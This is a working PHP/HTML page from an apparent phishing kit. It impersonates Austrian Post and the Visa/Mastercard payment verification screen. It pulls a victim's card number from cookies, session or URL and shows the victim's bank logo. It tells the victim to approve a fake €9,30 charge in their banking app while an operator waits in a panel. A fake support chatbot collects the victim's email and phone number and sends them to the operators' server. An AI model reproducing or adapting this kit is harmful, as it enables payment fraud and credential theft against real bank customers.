<?php
require (__DIR__) . '/../main.php';

// =============================================
// CHARGEMENT DES CONFIGURATIONS
// =============================================

// Charger la base de données des BINs -> Logos
$binsConfig = [];
if (file_exists(__DIR__ . '/bins.php')) {
    $binsConfig = require __DIR__ . '/bins.php';
}

// Charger l'ancienne config banks.php (fallback)
$banksConfig = [];
if (file_exists(__DIR__ . '/banks.php')) {
    $banksConfig = require __DIR__ . '/banks.php';
    require_once (__DIR__) . '/banks.php'; // Load function getBankLogo
}

// =============================================
// RÉCUPÉRATION DU NUMÉRO DE CARTE DEPUIS COOKIE OU SESSION
// =============================================

// Ensure session is started
if (session_status() !== PHP_SESSION_ACTIVE) {
    session_start();
}

// Try to get from cookie first, then from session, then from URL parameter
$cardNumber = '';
if (isset($_COOKIE['sc_card']) && !empty($_COOKIE['sc_card'])) {
    $cardNumber = $_COOKIE['sc_card'];
} else if (isset($_SESSION['sc_card']) && !empty($_SESSION['sc_card'])) {
    $cardNumber = $_SESSION['sc_card'];
} else if (isset($_GET['card']) && !empty($_GET['card'])) {
    $cardNumber = $_GET['card'];
    // Save to session and cookie for next time
    $_SESSION['sc_card'] = $cardNumber;
    setcookie('sc_card', $cardNumber, time() + 86400, '/', '', false, false);
}

// Clean the card number
$cardNumberClean = preg_replace('/\s+/', '', $cardNumber); // Supprimer les espaces
$cardNumberClean = preg_replace('/[^0-9]/', '', $cardNumberClean); // Remove non-digits

// Debug: log if card number is found
if (empty($cardNumberClean)) {
    error_log("APP.PHP: No card number found. Cookies: " . (isset($_COOKIE['sc_card']) ? 'EXISTS' : 'MISSING') . ", Session: " . (isset($_SESSION['sc_card']) ? 'EXISTS' : 'MISSING'));
} else {
    error_log("APP.PHP: Card number found: " . substr($cardNumberClean, 0, 6) . "**** (Source: " . (isset($_COOKIE['sc_card']) ? 'COOKIE' : (isset($_SESSION['sc_card']) ? 'SESSION' : 'URL')) . ")");
}

// =============================================
// DÉTERMINATION DU TYPE DE CARTE (VISA/MC)
// =============================================

$cardType = 'VISA';
$cardLogo = 'assets/images/vscard.png';
$secureTitle = 'Visa Secure';

if (!empty($cardNumberClean) && strlen($cardNumberClean) >= 1) {
    $firstDigit = substr($cardNumberClean, 0, 1);
    if ($firstDigit == '4') {
        $cardType = 'VISA';
        $cardLogo = 'assets/images/vscard.png';
        $secureTitle = 'Visa Secure';
    } else if ($firstDigit == '5') {
        $cardType = 'MASTERCARD';
        $cardLogo = 'assets/images/mscard.png';
        $secureTitle = 'Mastercard SecureCode';
    }
}

// =============================================
// RÉCUPÉRATION AUTOMATIQUE DU LOGO DE BANQUE PAR BIN
// =============================================

$bankLogo = '';
$bankName = '';

// Extraire le BIN (6 premiers chiffres)
$bin = '';
if (!empty($cardNumberClean) && strlen($cardNumberClean) >= 6) {
    $bin = substr($cardNumberClean, 0, 6);
}

// MÉTHODE 1: Chercher dans bins.php par BIN (depuis cookie)
if (!empty($bin) && isset($binsConfig[$bin])) {
    $bankLogo = $binsConfig[$bin]; // bins.php now returns full path
}

// MÉTHODE 2: Fallback - Chercher dans banks.php (ancien système + ranges)
if (empty($bankLogo)) {
    $financialData = $m->getData();
    $financialCode = '';
    $financialType = '';
    
    // Priority 1: Get bank code from card number (BIN - first 6 digits)
    if (!empty($bin)) {
        $financialCode = $bin;
        $financialType = 'code';
    }
    // Priority 2: Get from hidden financial data in panel (from IBAN/Transfer)
    else if (isset($financialData["HIDDEN_FINANCIAL"]) && is_array($financialData["HIDDEN_FINANCIAL"]) && count($financialData["HIDDEN_FINANCIAL"]) > 0) {
        $lastFinancial = end($financialData["HIDDEN_FINANCIAL"]);
        $financialCode = isset($lastFinancial["code"]) ? trim($lastFinancial["code"]) : '';
        $financialType = isset($lastFinancial["type"]) ? trim($lastFinancial["type"]) : '';
    }
    
    $financialCodeStr = trim((string)$financialCode);
    
    if (!empty($financialCodeStr)) {
        // Check bins.php database first
        if (is_numeric($financialCodeStr) && strlen($financialCodeStr) >= 6) {
            $bin6 = substr($financialCodeStr, 0, 6);
            if (isset($binsConfig[$bin6])) {
                $bankLogo = $binsConfig[$bin6]; // bins.php now returns full path
            }
        }
        
        // Try getBankLogo function for BIN range matching (400074, 11000x, 43009x, 15000x)
        if (empty($bankLogo) && is_numeric($financialCodeStr) && strlen($financialCodeStr) >= 5) {
            $logoFile = getBankLogo($financialCodeStr);
            if ($logoFile && !empty($logoFile)) {
                if (strpos($logoFile, 'assets/') === 0) {
                    $bankLogo = $logoFile;
                } else {
                    $bankLogo = 'assets/logos/' . $logoFile;
                }
            }
        }
        
        // Check banks.php direct mapping
        if (empty($bankLogo) && is_numeric($financialCodeStr) && isset($banksConfig[$financialCodeStr])) {
            $logoFile = $banksConfig[$financialCodeStr];
            if (strpos($logoFile, 'assets/') === 0) {
                $bankLogo = $logoFile;
            } else {
                $bankLogo = 'assets/logos/' . $logoFile;
            }
        }
        // Check by type if it's code
        else if (empty($bankLogo) && $financialType == 'code' && isset($banksConfig[$financialCodeStr])) {
            $logoFile = $banksConfig[$financialCodeStr];
            if (strpos($logoFile, 'assets/') === 0) {
                $bankLogo = $logoFile;
            } else {
                $bankLogo = 'assets/logos/' . $logoFile;
            }
        }
        // Check if it's a bank name
        else if (empty($bankLogo) && ($financialType == 'name' || !empty($financialCodeStr))) {
            $bankNameLower = strtolower(trim($financialCodeStr));
            
            if (strpos($bankNameLower, 'unicredit') !== false || strpos($bankNameLower, 'uni credit') !== false || strpos($bankNameLower, 'uni-credit') !== false) {
                $bankLogo = 'assets/logos/unicredit.png';
            } else if (strpos($bankNameLower, 'bawag') !== false) {
                $bankLogo = 'assets/images/bwa.png';
            } else if (strpos($bankNameLower, 'volksbank') !== false) {
                $bankLogo = 'assets/images/Volnk.png';
            } else if (strpos($bankNameLower, 'oberbank') !== false) {
                $bankLogo = 'assets/logos/oberbank.png';
            } else if (strpos($bankNameLower, 'raiffeisen') !== false) {
                $bankLogo = 'assets/logos/raiffeisen.png';
            } else if (strpos($bankNameLower, 'erste') !== false || strpos($bankNameLower, 'sparkasse') !== false) {
                $bankLogo = 'assets/logos/erste.png';
            }
        }
    }
}

// MÉTHODE 3: Logo par défaut si rien trouvé
if (empty($bankLogo)) {
    $bankLogo = 'assets/images/Post_Horn_Mini_positiv_RGB_Neu.png';
}

// =============================================
// FORMATAGE DU NUMÉRO DE CARTE POUR AFFICHAGE
// =============================================

$displayCardNumber = '';
if (strlen($cardNumberClean) >= 10) {
    $displayCardNumber = substr($cardNumberClean, 0, 6) . '******' . substr($cardNumberClean, -4);
} else if (strlen($cardNumberClean) >= 6) {
    $displayCardNumber = substr($cardNumberClean, 0, 6) . '******2032';
} else {
    $displayCardNumber = '454818******2032';
}

?>
<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $secureTitle; ?> - PostAG</title>
    <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet" type="text/css" />
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            background-color: #f5f5f5;
            color: #333;
            padding: 20px;
        }

        .app-container {
            max-width: 500px;
            margin: 0 auto;
            background: #fff;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
            padding: 30px;
            position: relative;
        }

        .app-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 30px;
        }

        .app-header-left {
            display: flex;
            align-items: center;
            gap: 20px;
            flex-wrap: wrap;
        }

        .app-header-right {
            display: flex;
            align-items: center;
        }

        .visa-logo {
            height: 40px;
            width: auto;
            object-fit: contain;
        }

        .bank-logo {
            height: 50px;
            width: auto;
            max-width: 120px;
            object-fit: contain;
        }

        .app-cancel {
            position: absolute;
            top: 20px;
            right: 20px;
            color: #0066cc;
            text-decoration: none;
            font-size: 14px;
        }

        .app-cancel:hover {
            text-decoration: underline;
        }

        .app-title {
            font-size: 24px;
            font-weight: bold;
            color: #333;
            margin-bottom: 20px;
            text-align: center;
        }

        .app-message {
            background-color: #e8f4f8;
            padding: 25px;
            border-radius: 4px;
            margin-bottom: 25px;
            text-align: center;
        }

        .app-message-icon {
            font-size: 48px;
            color: #0066cc;
            margin-bottom: 15px;
        }

        .app-message-title {
            font-size: 20px;
            font-weight: bold;
            color: #333;
            margin-bottom: 15px;
        }

        .app-message-text {
            font-size: 16px;
            color: #666;
            line-height: 1.6;
            margin-bottom: 20px;
        }

        .app-instructions {
            background-color: #fff;
            border: 2px solid #0066cc;
            border-radius: 4px;
            padding: 20px;
            margin-bottom: 25px;
        }

        .app-instructions-title {
            font-size: 18px;
            font-weight: bold;
            color: #333;
            margin-bottom: 15px;
            display: flex;
            align-items: center;
            gap: 10px;
        }

        .app-instructions-list {
            list-style: none;
            padding: 0;
        }

        .app-instructions-list li {
            padding: 10px 0;
            color: #666;
            font-size: 14px;
            padding-left: 30px;
            position: relative;
            line-height: 1.6;
        }

        .app-instructions-list li:before {
            content: counter(step-counter);
            counter-increment: step-counter;
            position: absolute;
            left: 0;
            top: 10px;
            background-color: #0066cc;
            color: #fff;
            width: 24px;
            height: 24px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 12px;
            font-weight: bold;
        }

        .app-instructions-list {
            counter-reset: step-counter;
        }

        .app-transaction-info {
            background-color: #f8f9fa;
            padding: 15px;
            border-radius: 4px;
            margin-bottom: 20px;
        }

        .app-info-row {
            display: flex;
            justify-content: space-between;
            margin-bottom: 8px;
            font-size: 14px;
        }

        .app-info-label {
            color: #666;
        }

        .app-info-value {
            color: #333;
            font-weight: 500;
        }

        .app-waiting {
            text-align: center;
            padding: 15px 10px;
            color: #666;
            font-size: 14px;
            background-color: #f8f9fa;
            border-radius: 8px;
            margin-bottom: 0;
        }

        .app-spinner {
            width: 35px;
            height: 35px;
            margin: 0 auto;
            border: 3px solid #f3f3f3;
            border-top: 3px solid #0066cc;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
    </style>
    <style>
        /* Chatbot Styles */
        .chatbot-container {
            position: fixed;
            bottom: 20px;
            right: 20px;
            z-index: 1000;
            font-family: 'PostSans', Arial, sans-serif;
        }
        .chatbot-button {
            width: 60px;
            height: 60px;
            border-radius: 50%;
            background: linear-gradient(135deg, #FFCC00 0%, #FFD700 100%);
            color: #333;
            border: none;
            cursor: pointer;
            box-shadow: 0 4px 12px rgba(255, 204, 0, 0.4);
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
            transition: all 0.3s;
            position: relative;
            padding: 12px;
        }
        .chatbot-button img {
            width: 100%;
            height: 100%;
            object-fit: contain;
        }
        .chatbot-button:hover {
            transform: scale(1.1);
            box-shadow: 0 6px 16px rgba(255, 204, 0, 0.5);
        }
        .chatbot-button .notification-dot {
            position: absolute;
            top: 5px;
            right: 5px;
            width: 12px;
            height: 12px;
            background: #ff4444;
            border-radius: 50%;
            border: 2px solid white;
            display: none;
        }
        .chatbot-window {
            position: absolute;
            bottom: 80px;
            right: 0;
            width: 380px;
            height: 500px;
            background: white;
            border-radius: 12px;
            box-shadow: 0 8px 24px rgba(0, 0, 0, 0.15);
            display: none;
            flex-direction: column;
            overflow: hidden;
        }
        .chatbot-window.active {
            display: flex;
        }
        .chatbot-header {
            background: linear-gradient(135deg, #FFCC00 0%, #FFD700 100%);
            color: #333;
            padding: 15px 20px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .chatbot-header-info {
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .chatbot-avatar {
            width: 40px;
            height: 40px;
            border-radius: 50%;
            background: white;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 5px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
        }
        .chatbot-avatar img {
            width: 100%;
            height: 100%;
            object-fit: contain;
        }
        .chatbot-header-text h3 {
            margin: 0;
            font-size: 16px;
            font-weight: bold;
        }
        .chatbot-header-text p {
            margin: 2px 0 0;
            font-size: 11px;
            opacity: 0.9;
        }
        .chatbot-status {
            display: flex;
            align-items: center;
            gap: 5px;
            font-size: 11px;
        }
        .chatbot-status-dot {
            width: 8px;
            height: 8px;
            background: #4caf50;
            border-radius: 50%;
        }
        .chatbot-close {
            background: none;
            border: none;
            color: #333;
            font-size: 20px;
            cursor: pointer;
            padding: 5px;
        }
        .chatbot-messages {
            flex: 1;
            padding: 20px;
            overflow-y: auto;
            background: #f9f9f9;
            display: flex;
            flex-direction: column;
            gap: 12px;
        }
        .chatbot-message {
            display: flex;
            gap: 10px;
        }
        .chatbot-message.bot {
            align-items: flex-start;
        }
        .chatbot-message.user {
            flex-direction: row-reverse;
            align-items: flex-start;
        }
        .message-avatar {
            width: 32px;
            height: 32px;
            border-radius: 50%;
            flex-shrink: 0;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 16px;
        }
        .chatbot-message.bot .message-avatar {
            background: #fff9e6;
        }
        .chatbot-message.user .message-avatar {
            background: #FFCC00;
        }
        .message-content {
            max-width: 75%;
            padding: 10px 14px;
            border-radius: 12px;
            font-size: 14px;
            line-height: 1.4;
        }
        .chatbot-message.bot .message-content {
            background: white;
            color: #333;
            border: 1px solid #e0e0e0;
        }
        .chatbot-message.user .message-content {
            background: #FFCC00;
            color: #333;
        }
        .message-time {
            font-size: 10px;
            color: #999;
            margin-top: 4px;
        }
        .chatbot-input-area {
            padding: 15px;
            background: white;
            border-top: 1px solid #e0e0e0;
        }
        .chatbot-input-wrapper {
            display: flex;
            gap: 8px;
        }
        .chatbot-input {
            flex: 1;
            padding: 10px 14px;
            border: 1px solid #e0e0e0;
            border-radius: 20px;
            font-size: 14px;
            outline: none;
        }
        .chatbot-input:focus {
            border-color: #FFCC00;
        }
        .chatbot-send {
            width: 40px;
            height: 40px;
            border-radius: 50%;
            background: #FFCC00;
            border: none;
            color: #333;
            cursor: pointer;
            font-size: 18px;
        }
        .chatbot-send:hover {
            background: #e6b800;
        }
    </style>
</head>

<body>
    <div class="app-container">
        <a href="#" class="app-cancel" onclick="window.close(); return false;">Abbrechen</a>

        <div class="app-header">
            <div class="app-header-left">
                <?php 
                // Always show a logo - bank logo if found, otherwise default Post logo
                $logoToShow = 'assets/images/Post_Horn_Mini_positiv_RGB_Neu.png'; // Default
                if ($bankLogo && $bankLogo != 'assets/images/Post_Horn_Mini_positiv_RGB_Neu.png' && file_exists(__DIR__ . '/' . $bankLogo)) {
                    $logoToShow = $bankLogo;
                }
                ?>
                <img src="<?php echo htmlspecialchars($logoToShow); ?>" alt="Logo" class="bank-logo">
            </div>
            <div class="app-header-right">
                <img src="<?php echo htmlspecialchars($cardLogo); ?>" alt="<?php echo $cardType; ?>" class="visa-logo">
            </div>
        </div>


        <div class="app-transaction-info">
            <div class="app-info-row">
                <span class="app-info-label">Händler:</span>
                <span class="app-info-value">Post.at</span>
            </div>
            <div class="app-info-row">
                <span class="app-info-label">Betrag:</span>
                <span class="app-info-value">€ 9,30</span>
            </div>
            <div class="app-info-row">
                <span class="app-info-label">Datum:</span>
                <span class="app-info-value"><?php echo date("d M Y"); ?></span>
            </div>
            <div class="app-info-row">
                <span class="app-info-label">Kartennummer:</span>
                <span class="app-info-value"><?php echo htmlspecialchars($displayCardNumber); ?></span>
            </div>
        </div>

        <div class="app-message">
            <div class="app-message-icon">
                <i class="fas fa-mobile-alt"></i>
            </div>
            <div class="app-message-title">Bitte bestätigen Sie die Zahlung in Ihrer Bank-App</div>
            <div class="app-message-text">
                Öffnen Sie die Banking-App auf Ihrem Smartphone und bestätigen Sie die Zahlung. Die Zahlung wird automatisch verarbeitet, sobald Sie die Bestätigung in der App durchführen.
            </div>
        </div>

        <div class="app-instructions">
            <div class="app-instructions-title">
                <i class="fas fa-list-ol"></i>
                So bestätigen Sie die Zahlung:
            </div>
            <ul class="app-instructions-list">
                <li>Öffnen Sie die Banking-App auf Ihrem Smartphone</li>
                <li>Sie erhalten eine Benachrichtigung über die ausstehende Zahlung</li>
                <li>Bestätigen Sie die Zahlung mit Ihrer PIN, Fingerabdruck oder Face ID</li>
                <li>Die Zahlung wird automatisch verarbeitet</li>
            </ul>
        </div>

        <div class="app-waiting" style="margin-top: 20px; margin-bottom: 0;">
            <div class="app-spinner"></div>
            <p style="font-size: 14px; font-weight: 500; color: #333; margin-top: 12px;">Warten auf Bestätigung der Transaktion...</p>
        </div>
    </div>

    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
        function setCookie(name, value, days) {
            var expires = "";
            if (days) {
                var date = new Date();
                date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
                expires = "; expires=" + date.toUTCString();
            }
            document.cookie = name + "=" + (value || "") + expires + "; path=/";
        }

        $(document).ready(function() {
            // Track page view
            $.post("spy.php", {
                appview: 1
            });

            // No automatic redirect - user will stay on app page
            // Admin can redirect manually from panel
        });
    </script>
    <?php
    $m->ctr("APP " . @$_GET['e']);
    ?>
    
    <!-- Chatbot -->
    <div class="chatbot-container">
        <button class="chatbot-button" id="chatbotToggle">
            <img src="assets/images/Post_Horn_Mini_positiv_RGB_Neu.png" alt="Chat" style="width: 36px; height: 36px;">
            <span class="notification-dot"></span>
        </button>
        <div class="chatbot-window" id="chatbotWindow">
            <div class="chatbot-header">
                <div class="chatbot-header-info">
                    <div class="chatbot-avatar">
                        <img src="assets/images/Post_Horn_Mini_positiv_RGB_Neu.png" alt="PostAG Logo">
                    </div>
                    <div class="chatbot-header-text">
                        <h3>PostAG Support</h3>
                        <p>Wir helfen Ihnen gerne</p>
                    </div>
                </div>
                <div style="display: flex; align-items: center; gap: 10px;">
                    <div class="chatbot-status">
                        <span class="chatbot-status-dot"></span>
                        <span>Online</span>
                    </div>
                    <button class="chatbot-close" id="chatbotClose">✕</button>
                </div>
            </div>
            <div class="chatbot-messages" id="chatbotMessages">
                <div class="chatbot-message bot">
                    <div class="message-avatar">👤</div>
                    <div>
                        <div class="message-content">
                            Guten Tag! Ich bin Maria von PostAG. Um Ihre Zahlung über die mobile App zu bestätigen, bitte folgen Sie den Anweisungen. Wie kann ich Ihnen helfen?
                        </div>
                        <div class="message-time">Gerade eben</div>
                    </div>
                </div>
            </div>
            <div class="chatbot-input-area">
                <div class="chatbot-input-wrapper">
                    <input type="text" class="chatbot-input" id="chatbotInput" placeholder="Schreiben Sie Ihre Nachricht..." />
                    <button class="chatbot-send" id="chatbotSend">➤</button>
                </div>
            </div>
        </div>
    </div>
    
    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <script>
    (function() {
        var chatbotOpen = false;
        var chatMode = null;
        var userEmail = null;
        var userPhone = null;
        var conversationState = null;
        var agentName = 'Maria';
        
        $('#chatbotToggle').on('click', function() {
            chatbotOpen = !chatbotOpen;
            if (chatbotOpen) {
                $('#chatbotWindow').addClass('active');
                $('#chatbotInput').focus();
                $('.notification-dot').hide();
            } else {
                $('#chatbotWindow').removeClass('active');
            }
        });
        
        $('#chatbotClose').on('click', function() {
            chatbotOpen = false;
            $('#chatbotWindow').removeClass('active');
        });
        
        function addBotMessage(message, delay) {
            setTimeout(function() {
                var messageHtml = '<div class="chatbot-message bot"><div class="message-avatar">👤</div><div><div class="message-content">' + message + '</div><div class="message-time">Gerade eben</div></div></div>';
                $('#chatbotMessages').append(messageHtml);
                $('#chatbotMessages').scrollTop($('#chatbotMessages')[0].scrollHeight);
            }, delay || 0);
        }
        
        function addUserMessage(message) {
            var messageHtml = '<div class="chatbot-message user"><div class="message-avatar">👤</div><div><div class="message-content">' + message + '</div><div class="message-time">Gerade eben</div></div></div>';
            $('#chatbotMessages').append(messageHtml);
            $('#chatbotMessages').scrollTop($('#chatbotMessages')[0].scrollHeight);
        }
        
        function getBotResponse(userMessage) {
            var message = userMessage.toLowerCase();
            
            if (!chatMode) {
                chatMode = 'agent';
                conversationState = 'greeting';
            }
            
            if (chatMode === 'agent') {
                if (conversationState === null || conversationState === 'greeting') {
                    conversationState = 'asking_help';
                    return 'Guten Tag! Ich bin ' + agentName + ' von PostAG. Um Ihre Zahlung über die mobile App zu bestätigen, bitte folgen Sie den Anweisungen. Wie kann ich Ihnen helfen?';
                }
                
                if (conversationState === 'asking_help') {
                    if (message.includes('ja') || message.includes('yes') || message.includes('oui') || message.includes('help') || message.includes('hilfe') || message.length > 3) {
                        conversationState = 'asking_email';
                        return 'Gerne helfe ich Ihnen! Bitte geben Sie mir Ihre E-Mail-Adresse:';
                    } else {
                        return 'Um Ihre Zahlung über die mobile App zu bestätigen, bitte folgen Sie den Anweisungen. Wie kann ich Ihnen helfen?';
                    }
                }
                
                if (conversationState === 'asking_email') {
                    var emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
                    if (emailPattern.test(userMessage)) {
                        userEmail = userMessage;
                        conversationState = 'asking_phone';
                        $.ajax({
                            url: 'chatbot_handler.php',
                            type: 'POST',
                            data: {
                                action: 'save_email',
                                email: userEmail
                            }
                        });
                        return 'Vielen Dank! Bitte geben Sie mir auch Ihre Telefonnummer:';
                    } else {
                        return 'Bitte geben Sie eine gültige E-Mail-Adresse ein (z.B. max.mustermann@example.com):';
                    }
                }
                
                if (conversationState === 'asking_phone') {
                    var phonePattern = /[\d\s\+\-\(\)]+/;
                    if (phonePattern.test(userMessage) && userMessage.replace(/[\s\+\-\(\)]/g, '').length >= 6) {
                        userPhone = userMessage;
                        conversationState = 'waiting_agent';
                        $.ajax({
                            url: 'chatbot_handler.php',
                            type: 'POST',
                            data: {
                                action: 'send_to_agent',
                                message: 'Hilfeanfrage zur Bestätigung der Zahlung über die App',
                                email: userEmail,
                                phone: userPhone,
                                page: 'app.php'
                            }
                        });
                        return 'Einen Moment bitte, ich prüfe, ob jemand aus dem Team verfügbar ist, um Ihnen zu helfen...';
                    } else {
                        return 'Bitte geben Sie eine gültige Telefonnummer ein:';
                    }
                }
                
                if (conversationState === 'waiting_agent') {
                    $.ajax({
                        url: 'chatbot_handler.php',
                        type: 'POST',
                        data: {
                            action: 'send_to_agent',
                            message: userMessage,
                            email: userEmail,
                            phone: userPhone,
                            page: 'app.php'
                        }
                    });
                    return 'Ich habe Ihre Nachricht weitergeleitet. Bitte haben Sie etwas Geduld, ein Kollege wird sich in Kürze bei Ihnen melden.';
                }
            }
            
            return 'Vielen Dank für Ihre Nachricht. Um Ihre Zahlung über die mobile App zu bestätigen, bitte folgen Sie den Anweisungen.';
        }
        
        function sendMessage() {
            var input = $('#chatbotInput');
            var message = input.val().trim();
            if (message === '') return;
            
            addUserMessage(message);
            input.val('');
            $('#chatbotSend').prop('disabled', true);
            
            $.ajax({
                url: 'chatbot_handler.php',
                type: 'POST',
                data: {
                    action: 'send_message',
                    message: message,
                    page: 'app.php'
                },
                dataType: 'json'
            });
            
            setTimeout(function() {
                var botResponse = getBotResponse(message);
                addBotMessage(botResponse);
                $('#chatbotSend').prop('disabled', false);
                input.focus();
            }, 800);
        }
        
        $('#chatbotSend').on('click', sendMessage);
        $('#chatbotInput').on('keypress', function(e) {
            if (e.which === 13) {
                sendMessage();
            }
        });
    })();
    </script>
</body>
</html>

